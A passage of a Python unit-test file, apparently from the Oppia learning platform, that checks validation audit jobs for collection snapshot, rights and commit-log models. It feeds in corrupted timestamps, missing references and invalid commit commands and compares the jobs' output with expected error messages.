expected_output = [ u'[u\'fully-validated CollectionSnapshotMetadataModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'CollectionSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_model_failure(self): collection_models.CollectionModel.get_by_id('0').delete( self.user_id, '', []) expected_output = [ ( u'[u\'failed validation check for collection_ids ' 'field check of CollectionSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field collection_ids ' 'having value 0, expect model CollectionModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'collection_ids having value 0, expect model ' 'CollectionModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'CollectionSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of CollectionSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.user_id, self.user_id), ( u'[u\'fully-validated ' 'CollectionSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_collection_version_in_model_id(self): model_with_invalid_version_in_id = ( collection_models.CollectionSnapshotMetadataModel( id='0-3', committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for collection model ' 'version check of CollectionSnapshotMetadataModel\', ' '[u\'Entity id 0-3: Collection model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ), ( u'[u\'fully-validated CollectionSnapshotMetadataModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'add_collection_node', }, { 'cmd': 'delete_collection_node', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'delete_collection_node check of ' 'CollectionSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'delete_collection_node\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following required attributes are missing: ' 'exploration_id, The following extra attributes ' 'are present: invalid_attribute"]]' ), ( u'[u\'failed validation check for commit cmd ' 'add_collection_node check of ' 'CollectionSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'add_collection_node\'} failed ' 'with error: The following required attributes are ' 'missing: exploration_id"]]' ), u'[u\'fully-validated CollectionSnapshotMetadataModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class CollectionSnapshotContentModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(CollectionSnapshotContentModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) collection_services.save_new_collection(self.owner_id, collection) self.model_instance_0 = ( collection_models.CollectionSnapshotContentModel.get_by_id( '0-1')) self.model_instance_1 = ( collection_models.CollectionSnapshotContentModel.get_by_id( '1-1')) self.model_instance_2 = ( collection_models.CollectionSnapshotContentModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .CollectionSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): collection_services.update_collection( self.owner_id, '0', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') expected_output = [ u'[u\'fully-validated CollectionSnapshotContentModel\', 4]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'CollectionSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_model_failure(self): collection_models.CollectionModel.get_by_id('0').delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for collection_ids ' 'field check of CollectionSnapshotContentModel\', ' '[u"Entity id 0-1: based on field collection_ids ' 'having value 0, expect model CollectionModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'collection_ids having value 0, expect model ' 'CollectionModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'CollectionSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_collection_version_in_model_id(self): model_with_invalid_version_in_id = ( collection_models.CollectionSnapshotContentModel( id='0-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for collection model ' 'version check of CollectionSnapshotContentModel\', ' '[u\'Entity id 0-3: Collection model corresponding to ' 'id 0 has a version 1 which is less than ' 'the version 3 in snapshot content model id\']]' ), ( u'[u\'fully-validated CollectionSnapshotContentModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) class CollectionRightsModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(CollectionRightsModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.user_id = self.get_user_id_from_email(USER_EMAIL) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.owner = user_services.UserActionsInfo(self.owner_id) editor_email = 'user@editor.com' viewer_email = 'user@viewer.com' self.signup(editor_email, 'editor') self.signup(viewer_email, 'viewer') self.editor_id = self.get_user_id_from_email(editor_email) self.viewer_id = self.get_user_id_from_email(viewer_email) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) collection_services.save_new_collection(self.owner_id, collection) rights_manager.assign_role_for_collection( self.owner, '0', self.editor_id, rights_manager.ROLE_EDITOR) rights_manager.assign_role_for_collection( self.owner, '2', self.viewer_id, rights_manager.ROLE_VIEWER) self.model_instance_0 = ( collection_models.CollectionRightsModel.get_by_id('0')) self.model_instance_1 = ( collection_models.CollectionRightsModel.get_by_id('1')) self.model_instance_2 = ( collection_models.CollectionRightsModel.get_by_id('2')) self.job_class = ( prod_validation_jobs_one_off.CollectionRightsModelAuditOneOffJob) def test_standard_operation(self): rights_manager.publish_collection(self.owner, '0') expected_output = [ u'[u\'fully-validated CollectionRightsModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.commit( feconf.SYSTEM_COMMITTER_ID, 'created_on test', []) expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionRightsModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') self.model_instance_2.delete(feconf.SYSTEM_COMMITTER_ID, 'delete') expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionRightsModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_model_with_first_published_datetime_than_current_time(self): rights_manager.publish_collection(self.owner, '0') rights_manager.publish_collection(self.owner, '1') self.model_instance_0.first_published_msec = ( self.model_instance_0.first_published_msec * 1000000.0) self.model_instance_0.commit(feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for first published msec check ' 'of CollectionRightsModel\', ' '[u\'Entity id 0: The first_published_msec field has a ' 'value %s which is greater than the time when the job was ' 'run\']]' ) % (self.model_instance_0.first_published_msec), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_model_failure(self): collection_models.CollectionModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for collection_ids ' 'field check of CollectionRightsModel\', ' '[u"Entity id 0: based on field collection_ids having ' 'value 0, expect model CollectionModel with id 0 but ' 'it doesn\'t exist"]]'), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_owner_user_model_failure(self): rights_manager.assign_role_for_collection( self.owner, '0', self.user_id, rights_manager.ROLE_OWNER) user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for owner_user_ids ' 'field check of CollectionRightsModel\', ' '[u"Entity id 0: based on field owner_user_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]') % (self.user_id, self.user_id), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_editor_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.editor_id).delete() expected_output = [ ( u'[u\'failed validation check for editor_user_ids ' 'field check of CollectionRightsModel\', ' '[u"Entity id 0: based on field editor_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.editor_id, self.editor_id), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_viewer_user_model_failure(self): user_models.UserSettingsModel.get_by_id(self.viewer_id).delete() expected_output = [ ( u'[u\'failed validation check for viewer_user_ids ' 'field check of CollectionRightsModel\', ' '[u"Entity id 2: based on field viewer_user_ids having ' 'value %s, expect model UserSettingsModel with id %s but ' 'it doesn\'t exist"]]') % ( self.viewer_id, self.viewer_id), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_metadata_model_failure(self): collection_models.CollectionRightsSnapshotMetadataModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_metadata_ids ' 'field check of CollectionRightsModel\', ' '[u"Entity id 0: based on field snapshot_metadata_ids having ' 'value 0-1, expect model ' 'CollectionRightsSnapshotMetadataModel ' 'with id 0-1 but it doesn\'t exist"]]' ), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) def test_missing_snapshot_content_model_failure(self): collection_models.CollectionRightsSnapshotContentModel.get_by_id( '0-1').delete() expected_output = [ ( u'[u\'failed validation check for snapshot_content_ids ' 'field check of CollectionRightsModel\', ' '[u"Entity id 0: based on field snapshot_content_ids having ' 'value 0-1, expect model CollectionRightsSnapshotContentModel ' 'with id 0-1 but it doesn\'t exist"]]'), u'[u\'fully-validated CollectionRightsModel\', 2]'] run_job_and_check_output(self, expected_output, sort=True) class CollectionRightsSnapshotMetadataModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(CollectionRightsSnapshotMetadataModelValidatorTests, self).setUp( ) self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.signup(USER_EMAIL, USER_NAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) self.user_id = self.get_user_id_from_email(USER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) if collection.id != '0': collection_services.save_new_collection( self.owner_id, collection) else: collection_services.save_new_collection( self.user_id, collection) self.model_instance_0 = ( collection_models.CollectionRightsSnapshotMetadataModel.get_by_id( '0-1')) self.model_instance_1 = ( collection_models.CollectionRightsSnapshotMetadataModel.get_by_id( '1-1')) self.model_instance_2 = ( collection_models.CollectionRightsSnapshotMetadataModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .CollectionRightsSnapshotMetadataModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated CollectionRightsSnapshotMetadataModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionRightsSnapshotMetadataModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionRightsSnapshotMetadataModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_rights_model_failure(self): collection_models.CollectionRightsModel.get_by_id('0').delete( self.user_id, '', []) expected_output = [ ( u'[u\'failed validation check for collection_rights_ids ' 'field check of CollectionRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field collection_rights_ids ' 'having value 0, expect model CollectionRightsModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'collection_rights_ids having value 0, expect model ' 'CollectionRightsModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_missing_committer_model_failure(self): user_models.UserSettingsModel.get_by_id(self.user_id).delete() expected_output = [ ( u'[u\'failed validation check for committer_ids field ' 'check of CollectionRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: based on field committer_ids having ' 'value %s, expect model UserSettingsModel with id %s ' 'but it doesn\'t exist"]]' ) % (self.user_id, self.user_id), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_collection_version_in_model_id(self): model_with_invalid_version_in_id = ( collection_models.CollectionRightsSnapshotMetadataModel( id='0-3', committer_id=self.owner_id, commit_type='edit', commit_message='msg', commit_cmds=[{}])) model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for collection rights model ' 'version check of CollectionRightsSnapshotMetadataModel\', ' '[u\'Entity id 0-3: CollectionRights model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot metadata model id\']]' ), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotMetadataModel\', 3]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'change_collection_status', 'old_status': rights_manager.ACTIVITY_STATUS_PUBLIC, }, { 'cmd': 'release_ownership', 'invalid_attribute': 'invalid' }] self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit cmd ' 'change_collection_status check of ' 'CollectionRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation for ' 'command: {u\'old_status\': u\'public\', ' 'u\'cmd\': u\'change_collection_status\'} failed with error: ' 'The following required attributes are missing: ' 'new_status"]]' ), ( u'[u\'failed validation check for commit cmd ' 'release_ownership check of ' 'CollectionRightsSnapshotMetadataModel\', ' '[u"Entity id 0-1: Commit command domain validation ' 'for command: {u\'cmd\': u\'release_ownership\', ' 'u\'invalid_attribute\': u\'invalid\'} failed with error: ' 'The following extra attributes are present: ' 'invalid_attribute"]]' ), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotMetadataModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) class CollectionRightsSnapshotContentModelValidatorTests( test_utils.GenericTestBase): def setUp(self): super(CollectionRightsSnapshotContentModelValidatorTests, self).setUp( ) self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) collection_services.save_new_collection(self.owner_id, collection) self.model_instance_0 = ( collection_models.CollectionRightsSnapshotContentModel.get_by_id( '0-1')) self.model_instance_1 = ( collection_models.CollectionRightsSnapshotContentModel.get_by_id( '1-1')) self.model_instance_2 = ( collection_models.CollectionRightsSnapshotContentModel.get_by_id( '2-1')) self.job_class = ( prod_validation_jobs_one_off .CollectionRightsSnapshotContentModelAuditOneOffJob) def test_standard_operation(self): expected_output = [ u'[u\'fully-validated CollectionRightsSnapshotContentModel\', 3]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionRightsSnapshotContentModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionRightsSnapshotContentModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_model_failure(self): collection_models.CollectionRightsModel.get_by_id('0').delete( self.owner_id, '', []) expected_output = [ ( u'[u\'failed validation check for collection_rights_ids ' 'field check of CollectionRightsSnapshotContentModel\', ' '[u"Entity id 0-1: based on field collection_rights_ids ' 'having value 0, expect model CollectionRightsModel with ' 'id 0 but it doesn\'t exist", u"Entity id 0-2: based on field ' 'collection_rights_ids having value 0, expect model ' 'CollectionRightsModel with id 0 but it doesn\'t exist"]]' ), ( u'[u\'fully-validated ' 'CollectionRightsSnapshotContentModel\', 2]')] run_job_and_check_output(self, expected_output, sort=True) def test_invalid_collection_version_in_model_id(self): model_with_invalid_version_in_id = ( collection_models.CollectionRightsSnapshotContentModel( id='0-3')) model_with_invalid_version_in_id.content = {} model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for collection rights model ' 'version check of CollectionRightsSnapshotContentModel\', ' '[u\'Entity id 0-3: CollectionRights model corresponding to ' 'id 0 has a version 1 which is less than the version 3 in ' 'snapshot content model id\']]' ), ( u'[u\'fully-validated CollectionRightsSnapshotContentModel\', ' '3]')] run_job_and_check_output(self, expected_output, sort=True) class CollectionCommitLogEntryModelValidatorTests(test_utils.GenericTestBase): def setUp(self): super(CollectionCommitLogEntryModelValidatorTests, self).setUp() self.signup(self.OWNER_EMAIL, self.OWNER_USERNAME) self.owner_id = self.get_user_id_from_email(self.OWNER_EMAIL) explorations = [exp_domain.Exploration.create_default_exploration( '%s' % i, title='title %d' % i, category='category%d' % i, ) for i in xrange(6)] for exp in explorations: exp_services.save_new_exploration(self.owner_id, exp) collections = [collection_domain.Collection.create_default_collection( '%s' % i, title='title %d' % i, category='category%d' % i, objective='objective%d' % i, ) for i in xrange(3)] for index, collection in enumerate(collections): collection.add_node('%s' % (index * 2)) collection.add_node('%s' % (index * 2 + 1)) collection_services.save_new_collection(self.owner_id, collection) self.rights_model_instance = ( collection_models.CollectionCommitLogEntryModel( id='rights-1-1', user_id=self.owner_id, username=self.OWNER_USERNAME, collection_id='1', commit_type='edit', commit_message='', commit_cmds=[], post_commit_status=constants.ACTIVITY_STATUS_PUBLIC, post_commit_community_owned=False, post_commit_is_private=False)) self.rights_model_instance.put() self.model_instance_0 = ( collection_models.CollectionCommitLogEntryModel.get_by_id( 'collection-0-1')) self.model_instance_1 = ( collection_models.CollectionCommitLogEntryModel.get_by_id( 'collection-1-1')) self.model_instance_2 = ( collection_models.CollectionCommitLogEntryModel.get_by_id( 'collection-2-1')) self.job_class = ( prod_validation_jobs_one_off .CollectionCommitLogEntryModelAuditOneOffJob) def test_standard_operation(self): collection_services.update_collection( self.owner_id, '0', [{ 'cmd': 'edit_collection_property', 'property_name': 'title', 'new_value': 'New title' }], 'Changes.') expected_output = [ u'[u\'fully-validated CollectionCommitLogEntryModel\', 5]'] run_job_and_check_output(self, expected_output) def test_model_with_created_on_greater_than_last_updated(self): self.model_instance_0.created_on = ( self.model_instance_0.last_updated + datetime.timedelta(days=1)) self.model_instance_0.put() expected_output = [( u'[u\'failed validation check for time field relation check ' 'of CollectionCommitLogEntryModel\', ' '[u\'Entity id %s: The created_on field has a value ' '%s which is greater than the value ' '%s of last_updated field\']]') % ( self.model_instance_0.id, self.model_instance_0.created_on, self.model_instance_0.last_updated ), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_last_updated_greater_than_current_time(self): self.model_instance_1.delete() self.model_instance_2.delete() self.rights_model_instance.delete() expected_output = [( u'[u\'failed validation check for current time check of ' 'CollectionCommitLogEntryModel\', ' '[u\'Entity id %s: The last_updated field has a ' 'value %s which is greater than the time when the job was run\']]' ) % (self.model_instance_0.id, self.model_instance_0.last_updated)] with self.swap(datetime, 'datetime', MockDatetime13Hours), self.swap( db.DateTimeProperty, 'data_type', MockDatetime13Hours): update_datastore_types_for_mock_datetime() run_job_and_check_output(self, expected_output, sort=True) def test_missing_collection_model_failure(self): collection_models.CollectionModel.get_by_id('0').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for collection_ids ' 'field check of CollectionCommitLogEntryModel\', ' '[u"Entity id collection-0-1: based on field collection_ids ' 'having value 0, expect model CollectionModel with id 0 ' 'but it doesn\'t exist", u"Entity id collection-0-2: based ' 'on field collection_ids having value 0, expect model ' 'CollectionModel with id 0 but it doesn\'t exist"]]' ), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output( self, expected_output, literal_eval=True) def test_missing_collection_rights_model_failure(self): collection_models.CollectionRightsModel.get_by_id('1').delete( feconf.SYSTEM_COMMITTER_ID, '', []) expected_output = [ ( u'[u\'failed validation check for collection_rights_ids ' 'field check of CollectionCommitLogEntryModel\', ' '[u"Entity id rights-1-1: based on field ' 'collection_rights_ids having value 1, expect model ' 'CollectionRightsModel with id 1 but it doesn\'t exist"]]' ), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output( self, expected_output, sort=True) def test_invalid_collection_version_in_model_id(self): model_with_invalid_version_in_id = ( collection_models.CollectionCommitLogEntryModel.create( '0', 3, self.owner_id, self.OWNER_USERNAME, 'edit', 'msg', [{}], constants.ACTIVITY_STATUS_PUBLIC, False)) model_with_invalid_version_in_id.collection_id = '0' model_with_invalid_version_in_id.put() expected_output = [ ( u'[u\'failed validation check for collection model ' 'version check of CollectionCommitLogEntryModel\', ' '[u\'Entity id %s: Collection model corresponding ' 'to id 0 has a version 1 which is less than ' 'the version 3 in commit log entry model id\']]' ) % (model_with_invalid_version_in_id.id), u'[u\'fully-validated CollectionCommitLogEntryModel\', 4]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_id(self): model_with_invalid_id = ( collection_models.CollectionCommitLogEntryModel( id='invalid-0-1', user_id=self.owner_id, username=self.OWNER_USERNAME, commit_type='edit', commit_message='msg', commit_cmds=[{}], post_commit_status=constants.ACTIVITY_STATUS_PUBLIC, post_commit_is_private=False)) model_with_invalid_id.collection_id = '0' model_with_invalid_id.put() expected_output = [ ( u'[u\'failed validation check for model id check of ' 'CollectionCommitLogEntryModel\', ' '[u\'Entity id %s: Entity id does not match regex pattern\']]' ) % (model_with_invalid_id.id), ( u'[u\'failed validation check for commit cmd check of ' 'CollectionCommitLogEntryModel\', [u\'Entity id invalid-0-1: ' 'No commit command domain object defined for entity with ' 'commands: [{}]\']]'), u'[u\'fully-validated CollectionCommitLogEntryModel\', 4]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_type(self): self.model_instance_0.commit_type = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for commit type check of ' 'CollectionCommitLogEntryModel\', ' '[u\'Entity id collection-0-1: Commit type invalid is ' 'not allowed\']]' ), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_post_commit_status(self): self.model_instance_0.post_commit_status = 'invalid' self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit status check ' 'of CollectionCommitLogEntryModel\', ' '[u\'Entity id collection-0-1: Post commit status invalid ' 'is invalid\']]' ), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_true_post_commit_is_private(self): self.model_instance_0.post_commit_status = ( feconf.POST_COMMIT_STATUS_PUBLIC) self.model_instance_0.post_commit_is_private = True self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit is private ' 'check of CollectionCommitLogEntryModel\', ' '[u\'Entity id %s: Post commit status is ' '%s but post_commit_is_private is True\']]' ) % (self.model_instance_0.id, feconf.POST_COMMIT_STATUS_PUBLIC), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_false_post_commit_is_private(self): self.model_instance_0.post_commit_status = ( feconf.POST_COMMIT_STATUS_PRIVATE) self.model_instance_0.post_commit_is_private = False self.model_instance_0.put() expected_output = [ ( u'[u\'failed validation check for post commit is private ' 'check of CollectionCommitLogEntryModel\', ' '[u\'Entity id %s: Post commit status is ' '%s but post_commit_is_private is False\']]' ) % (self.model_instance_0.id, feconf.POST_COMMIT_STATUS_PRIVATE), u'[u\'fully-validated CollectionCommitLogEntryModel\', 3]'] run_job_and_check_output(self, expected_output, sort=True) def test_model_with_invalid_commit_cmd_schmea(self): self.model_instance_0.commit_cmds = [{ 'cmd': 'add_collection_node' }, { 'cmd': 